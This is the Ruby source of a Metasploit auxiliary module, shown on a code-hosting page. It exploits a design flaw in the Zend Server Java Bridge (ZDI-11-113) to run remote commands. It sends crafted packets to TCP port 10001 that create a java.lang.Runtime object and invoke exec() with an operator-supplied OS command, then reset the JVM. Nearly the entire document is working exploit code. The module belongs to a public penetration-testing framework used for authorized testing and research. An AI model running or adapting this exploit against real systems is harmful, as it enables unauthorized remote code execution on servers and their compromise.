Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/zend/java_bridge.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp78def initialize(info = {})9super(update_info(info,10'Name' => 'Zend Server Java Bridge Design Flaw Remote Code Execution',11'Description' => %q{12This module abuses a flaw in the Zend Java Bridge Component of13the Zend Server Framework. By sending a specially crafted packet, an14attacker may be able to execute arbitrary code.1516NOTE: This module has only been tested with the Win32 build of the software.17},18'Author' => [ 'ikki', 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'OSVDB', '71420'],23[ 'ZDI', '11-113' ],24[ 'EDB', '17078' ],25],26'DisclosureDate' => '2011-03-28'))2728register_options(29[30Opt::RPORT(10001),31OptString.new('CMD', [ false, 'The OS command to execute', 'cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']),32])33end3435def run3637cmd = datastore['CMD']3839connect4041java_object = [0x33000000].pack('V') + [0x00000000].pack('V')42java_object << [0x0c000000].pack('V') + "CreateObject"43java_object << [0x02000000].pack('V') + [0x00000004].pack('V')44java_object << "\x11" + "java.lang.Runtime" + "\x07"45java_object << [0x00000000].pack('V')4647print_status("Creating the Java Object 'java.lang.Runtime'")48sock.put(java_object)49res = sock.get_once() || ''50classid = res[5,4]5152runtime = [0x16000000].pack('V') + classid + [0x0a000000].pack('V')53runtime << "getRuntime" + [0x00000000].pack('V')5455print_status("Invoking static method 'getRuntime()'")56sock.put(runtime)57res = sock.get_once() || ''58methodid = res[5,4]5960exec = [0x00].pack('n') + [21 + cmd.length].pack('n') + methodid61exec << [0x04000000].pack('V') + "exec" + [0x01000000].pack('V')62exec << "\x04" + [0x00].pack('n') + [cmd.length].pack('n') + cmd6364print_status("Invoking method 'exec()' with parameter '#{cmd}'")65sock.put(exec)66success = sock.get_once() || ''67if (success =~ /\x00\x00\x00/)68print_status("Cleaning up the JVM")69rm = [0x11000000].pack('V') + [0xffffffff].pack('V')70rm << [0x05000000].pack('V') + "reset"71rm << [0x00000000].pack('V')72sock.put(rm)73else74print_error("Failed to run command...")75disconnect76return77end7879disconnect8081end82end838485